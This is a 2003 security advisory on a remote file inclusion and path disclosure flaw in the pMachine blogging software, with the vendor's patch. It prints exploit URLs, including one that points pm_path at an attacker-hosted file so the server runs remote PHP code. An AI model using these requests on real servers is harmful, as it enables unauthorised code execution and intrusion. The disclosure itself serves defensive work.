[NEWS] pMachine Include() Vulnerability Allows Path Disclosure and Code Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 06/19/03

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Date: 19 Jun 2003 18:56:57 +0200

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      pMachine Include() Vulnerability Allows Path Disclosure and Code Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.pmachine.com/> pMachine provides blogging and news software
    with extra features, like member registration, mailing list manager,
    random, etc. A path disclosure vulnerability in the product allows remote
    attackers to discover the path under which the product is installed and to
    cause the server to include arbitrary PHP code (allowing executing of
    arbitrary code).

    DETAILS

    Exploit:
    Arbitrary code execution:
    Using the following URL:
    http://[target]/pm/lib.inc.php?pm_path=http://[attacker]/&sfx=.txt

    Will cause the server to include http://[attacker]/config.txt into the PHP
    file (allowing attackers to cause it to execute arbitrary code).

    Path disclosure:
    Using the following URL:
    http://[target]/pm/lib.inc.php?sfx=/badcode.txt

    Will cause the server to display the path under which the product is
    installed.

    Vendor status:
    The vendor recommands that you do the following:
    Open: /pm/inc.lib.php

    Look for this comment:
    // ----------------------------------------------
    // MASTER INCLUDES
    // ----------------------------------------------

    Just below it add this code:
    if ( ! file_exists("{$pm_path}config$sfx"))
        exit;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:black0angels@interfree.it>
    black0angels.

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